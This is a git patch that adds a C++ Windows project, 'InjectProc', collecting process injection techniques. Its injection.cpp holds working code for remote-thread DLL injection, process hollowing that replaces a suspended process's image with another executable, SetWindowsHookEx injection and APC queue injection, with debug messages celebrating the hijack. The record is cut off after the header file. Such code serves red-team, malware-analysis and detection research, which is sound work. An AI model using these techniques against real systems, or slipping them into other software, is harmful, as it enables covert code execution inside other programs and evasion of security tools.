From c03d6bd39cddafbb3b020dc87d9cf8b72dd56c20 Mon Sep 17 00:00:00 2001 From: rootm0s Date: Fri, 30 Jun 2017 17:10:16 +0200 Subject: [PATCH] Add files via upload --- ...ectProc - Process Injection Techniques.sln | 28 + InjectProc/InjectProc/InjectProc.vcxproj | 152 ++++ .../InjectProc/InjectProc.vcxproj.filters | 30 + InjectProc/InjectProc/injection.cpp | 647 +++++++++++++++++ InjectProc/InjectProc/injection.h | 62 ++ InjectProc/InjectProc/main.cpp | 41 ++ InjectProc/InjectProc/test_files/mbox.dll | Bin 0 -> 10240 bytes InjectProc/InjectProc/test_files/mbox.exe | Bin 0 -> 104448 bytes InjectProc/LICENSE | 674 ++++++++++++++++++ InjectProc/README.md | 50 ++ 10 files changed, 1684 insertions(+) create mode 100644 InjectProc/InjectProc - Process Injection Techniques.sln create mode 100644 InjectProc/InjectProc/InjectProc.vcxproj create mode 100644 InjectProc/InjectProc/InjectProc.vcxproj.filters create mode 100644 InjectProc/InjectProc/injection.cpp create mode 100644 InjectProc/InjectProc/injection.h create mode 100644 InjectProc/InjectProc/main.cpp create mode 100644 InjectProc/InjectProc/test_files/mbox.dll create mode 100644 InjectProc/InjectProc/test_files/mbox.exe create mode 100644 InjectProc/LICENSE create mode 100644 InjectProc/README.md diff --git a/InjectProc/InjectProc - Process Injection Techniques.sln b/InjectProc/InjectProc - Process Injection Techniques.sln new file mode 100644 index 0000000..ac83e71 --- /dev/null +++ b/InjectProc/InjectProc - Process Injection Techniques.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.6 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectProc", "InjectProc\InjectProc.vcxproj", "{D9F15158-3F31-4587-9FF0-660D71EB5483}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x64.ActiveCfg = Debug|x64 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x64.Build.0 = Debug|x64 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x86.ActiveCfg = Debug|Win32 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x86.Build.0 = Debug|Win32 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x64.ActiveCfg = Release|x64 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x64.Build.0 = Release|x64 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x86.ActiveCfg = Release|Win32 + {D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/InjectProc/InjectProc/InjectProc.vcxproj b/InjectProc/InjectProc/InjectProc.vcxproj new file mode 100644 index 0000000..30746c2 --- /dev/null +++ b/InjectProc/InjectProc/InjectProc.vcxproj @@ -0,0 +1,152 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {D9F15158-3F31-4587-9FF0-660D71EB5483} + Win32Proj + InjectProc + 10.0.15063.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v140 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + + + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + + + + + Level3 + + + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + false + + + + + + + + + + + + + \ No newline at end of file diff --git a/InjectProc/InjectProc/InjectProc.vcxproj.filters b/InjectProc/InjectProc/InjectProc.vcxproj.filters new file mode 100644 index 0000000..1e95bbe --- /dev/null +++ b/InjectProc/InjectProc/InjectProc.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/InjectProc/InjectProc/injection.cpp b/InjectProc/InjectProc/injection.cpp new file mode 100644 index 0000000..2ace0d0 --- /dev/null +++ b/InjectProc/InjectProc/injection.cpp @@ -0,0 +1,647 @@ +#include +#include "Injection.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#define RTN_OK 0 +#define RTN_USAGE 1 +#define RTN_ERROR 13 +using namespace std; +#define DEBUG + + +void DbgPrint(char *msg) +{ + +#ifdef DEBUG + cout << GetLastError() << " " << msg << endl; +#endif +} + +BOOL FindProcess(PCWSTR exeName, DWORD& pid, vector& tids) { + auto hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) + return FALSE; + + pid = 0; + + PROCESSENTRY32 pe = { sizeof(pe) }; + if (::Process32First(hSnapshot, &pe)) { + do { + if (_wcsicmp(pe.szExeFile, exeName) == 0) { + pid = pe.th32ProcessID; + THREADENTRY32 te = { sizeof(te) }; + if (Thread32First(hSnapshot, &te)) { + do { + if (te.th32OwnerProcessID == pid) { + tids.push_back(te.th32ThreadID); + } + } while (Thread32Next(hSnapshot, &te)); + } + break; + } + } while (Process32Next(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return pid > 0 && !tids.empty(); +} + +BOOL Dll_Injection(TCHAR *dll_name, TCHAR processname[]) +{ + TCHAR lpdllpath[MAX_PATH]; + GetFullPathName(dll_name, MAX_PATH, lpdllpath, nullptr); + + /* Snapshot of processes */ + DWORD processId{}; + DbgPrint("[+] creating process snapshot"); + auto hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Fucking lazy auto bullshit, also snap all processes + if (hSnapshot == INVALID_HANDLE_VALUE) + { + DbgPrint("[!] failed to create process snapshot"); + return FALSE; + } + DbgPrint("[+] Created process snapshot\n\n"); + PROCESSENTRY32 pe{}; /* Describes an entry from a list of the processes residing + in the system address space when a snapshot was taken. + The size of the structure, in bytes. Before calling the + Process32First function, set this member to sizeof(PROCESSENTRY32). + If you do not initialize dwSize, Process32First fails. (msdn) */ + + pe.dwSize = sizeof PROCESSENTRY32; + /* MSDN: + The size of the structure, in bytes. Before calling the Process32First + function, set this member to sizeof(PROCESSENTRY32). + If you do not initialize dwSize, Process32First fails.*/ + + + /* get first PID */ + DbgPrint("[+] Starting process search"); + BOOL isProcessFound = FALSE; + if (Process32First(hSnapshot, &pe) == FALSE) //Get first "link" I guess + { + CloseHandle(hSnapshot); + DbgPrint("[!] unable to take first process snapshot"); + return FALSE; + } + + if (_wcsicmp(pe.szExeFile, processname) == 0) // if pe.szExeFile and Processname are the same + { + CloseHandle(hSnapshot); + processId = pe.th32ProcessID; + isProcessFound = TRUE; + #ifdef DEBUG + cout << "[+] Got PID: " << processId << endl; + #endif + } + + /* End get first PID */ + + /* Get the rest and process like the first */ + while (Process32Next(hSnapshot, &pe)) + { + if (_wcsicmp(pe.szExeFile, processname) == 0) + { + DbgPrint("[+] Closing handle to process snapshot"); + CloseHandle(hSnapshot); + processId = pe.th32ProcessID; + DbgPrint("[+] Found Process"); + #ifdef DEBUG + cout << "[+] Got PID: " << processId << endl; + #endif + break; + } + } + DbgPrint("[+] Done with process search\n\n"); + //Check if process was found + if (isProcessFound) + { + DbgPrint("[!] failed to find process"); + return FALSE; + } + + + /* this portion get it and puts it in the memory of the remote process */ + // get size of the dll's path + auto size = wcslen(lpdllpath) * sizeof(TCHAR); + + // open selected process + DbgPrint("[+] Opening Process"); + auto hVictimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processId); + if (hVictimProcess == NULL) // check if process open failed + { + DbgPrint("[!]Failed to open process"); + return FALSE; + } + DbgPrint("[+] Open'd Process\n\n"); + DbgPrint("[+] Allocating some memory in the remote process"); + // allocate memory in the remote process + auto pNameInVictimProcess = VirtualAllocEx(hVictimProcess, + nullptr, + size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (pNameInVictimProcess == NULL) //Check if allocation failed + { + DbgPrint("[!] allocation of memory failed, WFT?"); + return FALSE; + } + DbgPrint("[+] allocated memory\n\n"); + // write the DLL to memory + DbgPrint("[+] Writing to remote process mem"); + auto bStatus = WriteProcessMemory(hVictimProcess, + pNameInVictimProcess, + lpdllpath, + size, + nullptr); + if (bStatus == 0) + { + DbgPrint("[!] failed to write memory to the process"); + return FALSE; + } + + DbgPrint("[+] Wrote remote process memory\n\n"); + + // gets a handle for kernel32dll's LoadLibrary call + DbgPrint("[+] Getting handle for kernel32"); + auto hKernel32 = GetModuleHandle(L"kernel32.dll"); + if (hKernel32 == NULL) + { + DbgPrint("[!] Unable to find Kernel32 in process, what the fuck did you do?"); + return FALSE; + } + DbgPrint("[+] Got kernel32 handle"); + DbgPrint("[+] Getting loadLibraryW handle"); + auto LoadLibraryAddress = GetProcAddress(hKernel32, "LoadLibraryW"); + if (LoadLibraryAddress == NULL) //Check if GetProcAddress works; if not try some ugly as sin correction code + { + DbgPrint("[-] Unable to find LoadLibraryW, What is this: Windows 2000?"); + DbgPrint("[-] Trying LoadLibraryA"); + if ((LoadLibraryAddress = GetProcAddress(hKernel32, "LoadLibraryA")) == NULL) + { + DbgPrint("[!] LoadLibraryA failed as well. You're on your own."); + return FALSE; + } + } + DbgPrint("[+] Got loadLibrary handle\n\n"); + + // Using the above objects execute the DLL in the remote process + DbgPrint("[+] starting new thread to execute injected dll"); + auto hThreadId = CreateRemoteThread(hVictimProcess, + nullptr, + 0, + reinterpret_cast(LoadLibraryAddress), + pNameInVictimProcess, + NULL, + nullptr); + if (hThreadId == NULL) + { + DbgPrint("[!] failed to create remote process"); + return FALSE; + } + DbgPrint("[+] started new thread\n\n"); + + /*if (bStatus == NULL) + return FALSE; + NOT NEEDED ANYMORE*/ + DbgPrint("[+] waiting for thread to execute"); + WaitForSingleObject(hThreadId, INFINITE); + DbgPrint("[+] Done!!!! Closing handle\n"); + + CloseHandle(hVictimProcess); + DbgPrint("[+] Closed process handle"); + VirtualFreeEx(hVictimProcess, pNameInVictimProcess, size, MEM_RELEASE); + + DbgPrint("Injected Successfully"); + return TRUE; +} + +void PE_FILE::set_sizes(size_t size_ids_, size_t size_dos_stub_, size_t size_inh32_, size_t size_ish_, size_t size_sections_) +{ + this->size_ids = size_ids_; + this->size_dos_stub = size_dos_stub_; + this->size_inh32 = size_inh32_; + this->size_ish = size_ish_ + sizeof(IMAGE_SECTION_HEADER); + this->size_sections = size_sections_; +} + +tuple OpenBinary(wstring filename) +{ + auto flag = false; // assume failure + fstream::pos_type size{}; // create filesize as fstream object + char* bin{}; // create char pointer object + + + ifstream ifile(filename, ios::binary | ios::in | ios::ate); + if (ifile.is_open()) + { + size = ifile.tellg(); // set size to current filepointer location (tellg method of istream) + bin = new char[size]; //create (in stack) the new char buffer for the binry + //Standard get filezise algorithm + ifile.seekg(0, ios::beg); + ifile.read(bin, size); + ifile.close(); + //Assuming we got this far it's okay to assume this worked! + flag = true; + } + return make_tuple(flag, bin, size); // return tuple of gathered data +} + +PE_FILE ParsePE(const char* PE) +{ + PE_FILE pefile{}; + memcpy_s(&pefile.ids, sizeof(IMAGE_DOS_HEADER), PE, sizeof(IMAGE_DOS_HEADER)); + memcpy_s(&pefile.inh32, sizeof(IMAGE_NT_HEADERS64), PE + pefile.ids.e_lfanew, sizeof(IMAGE_NT_HEADERS64)); // address of PE header = e_lfanew + size_t stub_size = pefile.ids.e_lfanew - 0x3c - 0x4; // 0x3c offet of e_lfanew + pefile.MS_DOS_STUB = vector(stub_size); + memcpy_s(pefile.MS_DOS_STUB.data(), stub_size, (PE + 0x3c + 0x4), stub_size); + + auto number_of_sections = pefile.inh32.FileHeader.NumberOfSections; + pefile.ish = vector(number_of_sections + 1); // Number of sections + + auto PE_Header = PE + pefile.ids.e_lfanew; + auto First_Section_Header = PE_Header + 0x18 + pefile.inh32.FileHeader.SizeOfOptionalHeader; // First Section: PE_header + sizeof FileHeader + sizeof Optional Header + + // copy section headers + for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) + { + memcpy_s(&pefile.ish[i], sizeof(IMAGE_SECTION_HEADER), First_Section_Header + (i * sizeof(IMAGE_SECTION_HEADER)), sizeof(IMAGE_SECTION_HEADER)); + } + + for (auto i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) + { + shared_ptr t_char(new char[pefile.ish[i].SizeOfRawData]{}, std::default_delete()); // Section + memcpy_s(t_char.get(), pefile.ish[i].SizeOfRawData, PE + pefile.ish[i].PointerToRawData, pefile.ish[i].SizeOfRawData); // copy sections. + pefile.Sections.push_back(t_char); + } + size_t sections_size{}; + for (WORD i = 0; i < pefile.inh32.FileHeader.NumberOfSections; ++i) + { + sections_size += pefile.ish[i].SizeOfRawData; + } + + pefile.set_sizes(sizeof(pefile.ids), stub_size, sizeof(pefile.inh32), number_of_sections * sizeof(IMAGE_SECTION_HEADER), sections_size); + + return pefile; +} + +// Based on John Leitch's paper "Process Hollowing" +BOOL ProcessReplacement(TCHAR* target, wstring inj_exe) +{ + DbgPrint("==============Initial Processing=================="); + DbgPrint("[ ] Opening Binary to read into buffer"); + tuple bin = OpenBinary(inj_exe); + DbgPrint("[+] Opened binary\n"); + if (!get<0>(bin)) // verify that tuple exists (file is open) + { + cout << "Error to open file"; + return EXIT_FAILURE; + } + + char* PE_file = get<1>(bin); // get pointer to binary as char array + size_t size_of_pe = get<2>(bin); //get the filesize from the OpenBinary call + DbgPrint("[ ] Parsing PE from buffer"); + auto Parsed_PE = ParsePE(PE_file); // Get the PE_FILE object from the function (local, not a standard C++ function) + DbgPrint("[+] Got PE info"); // PE_FILE is defined in the Injection.h file + + + auto pStartupInfo = new STARTUPINFO(); // Specifies the window station, desktop, standard handles, + // and appearance of the main window for a process at creation time. + // MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx + + auto remoteProcessInfo = new PROCESS_INFORMATION(); // Structure that contains the information about a process object + // MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx + DbgPrint("===================================================\n\n"); + DbgPrint("============Creating Process to Infect============="); + + /* CreateProcess is a complex call so I am breaking it out into paramaters*/ + //MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx + DbgPrint("[ ]Creating host process"); + CreateProcess(target, //lpApplicationName name of process to be executed + nullptr, //lpCommandLine command line to be executed (not used so Application name is used) + nullptr, //lpProcessAttributes user specified process params using SECURITY_ATTRIBUTES struct + nullptr, //lpThreadAttributes user specified thread params using SECURITY_ATTRIBUTES struct + FALSE, //bInheritHandles Disallow the inheritance of process handles to child processes (we are not a child thread) + NORMAL_PRIORITY_CLASS, //dwCreationFlags Flag to priotiry level of the process (here we are normal) + nullptr, //lpEnvironment Enviromental Vars to hand to the new process (perhaps useful for modified mimikatz?) + nullptr, //lpCurrentDirectory used to declare working directory for process (normally used by shells that need to start at $HOME) + pStartupInfo, //lpStartupInfo Our startupinfo object for process info + remoteProcessInfo); //lpProcessInformation The processinformation object we use to manipulate the process + + if (!remoteProcessInfo->hProcess) // no real need to check the output of Create Process because all the return info needs to be checked anyway + { + DbgPrint("[-] Failed to create remote thread"); + return FALSE; + } + if (SuspendThread(remoteProcessInfo->hThread) == -1) //Suspend thread to hijack + { + DbgPrint("[-] Failed to stop remote process"); + return FALSE; + } + DbgPrint("[+] Created host process"); + DWORD dwReturnLength; //used later in remote call + DbgPrint("===================================================\n\n"); + // read remote PEB + PROCESS_BASIC_INFORMATION ProcessBasicInformation; //Because having 3 diffrent processinfo structures makes sense + + DbgPrint("============Hijacking Remote Functions=============="); + // get NtQueryInformationProcess + DbgPrint("[ ] loading remote process libraries and functions to build new PEB"); + DbgPrint("[ ] getting ntdll"); + auto handleToRemoteNtDll = LoadLibrary(L"ntdll"); //Locate NTDLL in new process memory + if (!handleToRemoteNtDll) + { + DbgPrint("[-] failed to get remote handle to NTDLL"); + return FALSE; + } + DbgPrint("[+] got ntdll\n"); + DbgPrint("[ ] getting NtQueryInformationProcess"); + auto fpNtQueryInformationProcess = GetProcAddress(handleToRemoteNtDll, "NtQueryInformationProcess"); + if (!fpNtQueryInformationProcess) + { + DbgPrint("[-] Failed to locate remote NtQueryInformationProcess function"); + return FALSE; + } + DbgPrint("[+] got NtQueryInformationProcess\n"); + DbgPrint("[ ] Executing NtQueryInformationProcess"); + //Cast into useable function, thanks C++ template hacks! + auto remoteNtQueryInformationProcess = reinterpret_cast<_NtQueryInformationProcess>(fpNtQueryInformationProcess); + + //Call remote process NtQueryInformationProcess function + remoteNtQueryInformationProcess(remoteProcessInfo->hProcess, + PROCESSINFOCLASS(0), + &ProcessBasicInformation, + sizeof(PROCESS_BASIC_INFORMATION), + &dwReturnLength); + DbgPrint("[+] executed NtQueryInformationProcess\n"); + auto dwPEBBAddress = ProcessBasicInformation.PebBaseAddress; //remote PEB info + + auto pPEB = new PEB(); //create new PEB object + DbgPrint("[ ] reading process memory to locate remote PEB"); + if (!ReadProcessMemory(remoteProcessInfo->hProcess, // load info for PEB of remote process + static_cast(dwPEBBAddress), + pPEB, + sizeof(PEB), + nullptr)) + { + DbgPrint("[-] failed to load remote PEB"); + return FALSE; + } + DbgPrint("[+] read forign PEB"); + DbgPrint("[+] parsed remote PEB\n"); + // remote image size calculation + auto BUFFER_SIZE = sizeof IMAGE_DOS_HEADER + sizeof IMAGE_NT_HEADERS64 + (sizeof IMAGE_SECTION_HEADER) * 100; + + // Create new buffer to hold new process + //I will admit having a BYTE type in windows is pretty nice, I think it just resolves into an unsigned char tho... + auto remoteProcessBuffer = new BYTE[BUFFER_SIZE]; + + LPCVOID remoteImageAddressBase = pPEB->Reserved3[1]; // set forged process ImageBase to remote processes' image base + DbgPrint("[ ] Reading process memory to find process image"); + if (!ReadProcessMemory(remoteProcessInfo->hProcess, // read process image from loaded process (so we can replace these parts later) + remoteImageAddressBase, + remoteProcessBuffer, + BUFFER_SIZE, + nullptr)) + return FALSE; + DbgPrint("[+] found remote process image\n"); + // get handle to unmap remote process sections for replacement + DbgPrint("[ ] loading remote call to unmap"); + auto fpZwUnmapViewOfSection = GetProcAddress(handleToRemoteNtDll, "ZwUnmapViewOfSection"); + //Create callable version of remote unmap call + auto ZwUnmapViewOfSection = reinterpret_cast<_ZwUnmapViewOfSection>(fpZwUnmapViewOfSection); + + //Unmap remote process image (oh boy we are hijacking this shit now!) + if (ZwUnmapViewOfSection(remoteProcessInfo->hProcess, const_cast(remoteImageAddressBase))) + { + DbgPrint("[-] failed to unmap remote process image"); + return FALSE; + } + DbgPrint("[+] unmap'd remote process image\n"); + // Allocating memory for our PE file + /* + another complex call that we will now disect + MSDN: https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa366890(v=vs.85).aspx + */ + // TODO: allocate this memory as read write and then remove the write flag and replace with exec flag + DbgPrint("[!] hijacking remote image"); + DbgPrint("[ ] allocating memory in forign process"); + auto hijackerRemoteImage = VirtualAllocEx(remoteProcessInfo->hProcess, //hProcess handle to the remote process + const_cast(remoteImageAddressBase), //lpAddress address to allocate at (here we are using the old process image base address) + Parsed_PE.inh32.OptionalHeader.SizeOfImage, //dwSize size of allocation (our new pe's length goes here + MEM_COMMIT | MEM_RESERVE, //flAllocationType The type of memory allocation this part is system magic so RTFM at MSDN + PAGE_EXECUTE_READWRITE); //flProtect Tell the kernel to allocate with these protections, which is none so... "RAWDOG IT!!!" + + if (!hijackerRemoteImage) //if the call screws up then just die + { + DbgPrint("[-] failed to allocate memory in remote process"); + return FALSE; + } + DbgPrint("[+] alocated memory in remote process\n"); + // calculate relocation delta + auto dwDelta = ULONGLONG(remoteImageAddressBase) - Parsed_PE.inh32.OptionalHeader.ImageBase; // change to pImageAddressBase + + //Here we cast the new process to a function pointer that we will cause the remote process to execute + Parsed_PE.inh32.OptionalHeader.ImageBase = reinterpret_cast(remoteImageAddressBase); + + DbgPrint("[ ] writing hijack image to remote process"); + if (!WriteProcessMemory(remoteProcessInfo->hProcess, //hProcess the handle to the remote process + const_cast(remoteImageAddressBase), //lpBaseAddress The address to start writing to + PE_file, //lpBuffer the buffer to write to the process + Parsed_PE.inh32.OptionalHeader.SizeOfHeaders, //nSize number of bytes to write + nullptr)) //lpNumberOfBytesWritten (unused) int pointer to write the return value to + { + DbgPrint("[-] failed to write new headers to remote process memory"); + return FALSE; + } + + for (WORD i = 0; i < Parsed_PE.inh32.FileHeader.NumberOfSections; ++i) + { + auto VirtAddress = PVOID(reinterpret_cast(remoteImageAddressBase) + Parsed_PE.ish[i].VirtualAddress); + + if (!WriteProcessMemory(remoteProcessInfo->hProcess, //write new sections to the remote processes' memory + VirtAddress, + Parsed_PE.Sections[i].get(), + Parsed_PE.ish[i].SizeOfRawData, + nullptr)) + { + DbgPrint("[-] failed to write one of new process sections"); + return FALSE; + } + } + DbgPrint("[+] wrote process mem"); + DbgPrint("===================================================\n\n"); + // if delta > 0 - todo + + // cast new callable entry point from remote process base address + auto dwEntrypoint = reinterpret_cast(remoteImageAddressBase) + Parsed_PE.inh32.OptionalHeader.AddressOfEntryPoint; + + // Under a multitasking OS like Windows, there can be several programs running at the same time. + // Windows gives each thread a timeslice. When that timeslice expires, + // Windows freezes the present thread and switches to the next thread that has the highest priority. + // Just before switching to the other thread, Windows saves values in registers of the present thread + // so that when the time comes to resume the thread, Windows can restore the last *environment* of that thread. + // The saved values of the registers are collectively called a context. + DbgPrint("==============Hijacking Remote Process================="); + DbgPrint("[ ] saving debugging context of process"); + LPCONTEXT remoteProcessContext = new CONTEXT(); //This is a debugging structure to hold the old process "context" like registers and whatnot + remoteProcessContext->ContextFlags = CONTEXT_FULL; // A value indicating which portions of the Context structure should be initialized. This parameter influences the size of the initialized Context structure. + + + if (!GetThreadContext(remoteProcessInfo->hThread, remoteProcessContext)) //get context to be used to restore process + { + DbgPrint("Failed to get debugging context of remote process"); + return FALSE; + } + DbgPrint("[+] saved process context\n"); + + DbgPrint("[*] modifying proc context RCX->EntryPoint()"); + remoteProcessContext->Rcx = dwEntrypoint; //Set RCX register to the EntryPoint + + DbgPrint("[ ] restoring modified context"); + if (!SetThreadContext(remoteProcessInfo->hThread, remoteProcessContext)) + { + DbgPrint("[-] failed to set remote process context"); + return FALSE; + } + if (!GetThreadContext(remoteProcessInfo->hThread, remoteProcessContext)) + { + DbgPrint("[-] failed to set control thread context"); + return FALSE; + } + DbgPrint("[+] restored process context\n"); + + DbgPrint("[ ] resuming hijacked process"); + if (!ResumeThread(remoteProcessInfo->hThread)) + { + DbgPrint("[-] failed to resume remote process"); + return FALSE; + } + DbgPrint("[!] process hijacked!"); + DbgPrint("===================Et Fin!========================="); + //////////////////////////////////////////////////////// + //////AND THATS IT, WE HAVE HIJACKED A PROCESS!!!!////// + //////////////////////////////////////////////////////// + + CloseHandle(remoteProcessInfo->hProcess); //clean up when you are done, it's only polite. + return TRUE; +} + +BOOL HookInjection(TCHAR target[], TCHAR *dll_name) +{ + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx + // SetWindowsHookEx can be used to inject a DLL into another process. A 32 - bit DLL cannot be injected into a 64 - bit process, + // and a 64 - bit DLL cannot be injected into a 32 - bit process.If an application requires the use of hooks in other processes, + // it is required that a 32 - bit application call SetWindowsHookEx to inject a 32 - bit DLL into 32 - bit processes, + // and a 64 - bit application call SetWindowsHookEx to inject a 64 - bit DLL into 64 - bit processes.The 32 - bit and 64 - bit DLLs must have different names. + DbgPrint("[ ] loading module in local process"); + auto hdll = LoadLibrary(dll_name); + DbgPrint("[+] loaded dll\n"); + + typedef LRESULT(WINAPI * MyProc)(int code, WPARAM wp, LPARAM lp); // export from calc_dll.dll + + auto mp = MyProc(GetProcAddress(hdll, "MyProc")); + //auto mp = MyProc(GetProcAddress(hdll, "StartW")); + //If you know who uses StartW, hush, its a secret ;) + + auto pStartupInfo = new STARTUPINFO(); + auto pProcessInfo = new PROCESS_INFORMATION(); + DbgPrint("[ ] creating process to hook"); + CreateProcess(target, + nullptr, + nullptr, + nullptr, + FALSE, + NORMAL_PRIORITY_CLASS, + nullptr, + nullptr, + pStartupInfo, + pProcessInfo); + + if (!pProcessInfo->hProcess) + { + DbgPrint("[-] failed to create process"); + return FALSE; + } + DbgPrint("[+] Created hook process\n"); + + DbgPrint("[ ] creating process hook"); + auto hProc = SetWindowsHookEx(WH_CBT, // Installs a hook procedure that receives notifications useful to a CBT application + mp, // my proc symbol taken from the dll + hdll, // dll containing my proc + pProcessInfo->dwThreadId); // dword to the thread (something something windows store) RTFM + if (!hProc) + { + DbgPrint("[-] failed to hook process"); + return FALSE; + } + DbgPrint("[+] hook injected"); + UnhookWindowsHookEx(hProc); + + return TRUE; +} + +// https://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/ +BOOL APCinjection(TCHAR target[], TCHAR *dll_name) { + TCHAR lpdllpath[MAX_PATH]; + GetFullPathName(dll_name, MAX_PATH, lpdllpath, nullptr); + + DWORD pid{}; + vector tids{}; + // TODO: in code documentation and break up the messy dually + // nested function calls for demonstration purposes + // note to self (perhaps dllinjection/process replacement + // could be done in a bunch of natsy nested calls) + // I may do that as a joke. X in one line of code XD + DbgPrint("[ ] finding matching process name"); + if (!FindProcess(target, pid, tids)) + { + DbgPrint("[-] failed to find process"); + return FALSE; + } + DbgPrint("[+] found prcoess\n"); + DbgPrint("[ ] Opening Process"); + auto hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); + if (!hProcess) + { + DbgPrint("[-] failed to open proceess"); + return FALSE; + } + DbgPrint("[+] Opened process\n"); + + DbgPrint("[ ] allocating memory in process"); + auto pVa = VirtualAllocEx(hProcess, + nullptr, + 1 << 12, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + DbgPrint("[+] allocated memory in remote process\n"); + DbgPrint("[ ] writing remote process memeory"); + if (!WriteProcessMemory(hProcess, pVa, lpdllpath, sizeof(lpdllpath), nullptr)) + { + DbgPrint("[-] failed to write remote process memory"); + return FALSE; + } + DbgPrint("[+] wrote remote process memory"); + DbgPrint("[ ] Enumerating APC threads in remote process"); + for (const auto &tid : tids) { + auto hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid); + if (hThread) { + DbgPrint("[*] found thread"); + QueueUserAPC( + (PAPCFUNC)GetProcAddress( + GetModuleHandle(L"kernel32"), + "LoadLibraryW"), + hThread, + (ULONG_PTR)pVa); + // almost looks like a fuckin' nested SQL statment + CloseHandle(hThread); + } + } + CloseHandle(hProcess); + return TRUE; +} diff --git a/InjectProc/InjectProc/injection.h b/InjectProc/InjectProc/injection.h new file mode 100644 index 0000000..e6e03b6 --- /dev/null +++ b/InjectProc/InjectProc/injection.h @@ -0,0 +1,62 @@ +#pragma once +#include +#include +#include +#include +#include +using namespace std; + + +BOOL FindProcess(PCWSTR exeName, DWORD& pid, vector& tids); + +BOOL Dll_Injection(TCHAR *dll_name, TCHAR processname[]); +BOOL ProcessReplacement(TCHAR* target, wstring inj_exe); +BOOL HookInjection(TCHAR target[], TCHAR *dll_name); +BOOL APCinjection(TCHAR target[], TCHAR *dll_name); + +// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx +typedef NTSTATUS(WINAPI* _NtQueryInformationProcess)( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +// https://msdn.microsoft.com/en-us/library/windows/hardware/ff567119(v=vs.85).aspx +typedef NTSTATUS(WINAPI* _ZwUnmapViewOfSection)( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress + ); + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; + +struct PE_FILE +{ + size_t size_ids{}; + size_t size_dos_stub{}; + size_t size_inh32{}; + size_t size_ish{}; + size_t size_sections{}; + IMAGE_DOS_HEADER ids; + std::vector MS_DOS_STUB; + IMAGE_NT_HEADERS64 inh32; + std::vector ish; + std::vector> Sections; + void set_sizes(size_t, size_t, size_t, size_t, size_t); +}; + +struct LOADED_IMAGE64 +{ + PIMAGE_NT_HEADERS64 FileHeader; + ULONG NumberOfSections; + PIMAGE_SECTION_HEADER Sections; +}; \ No newline at end of file diff --git 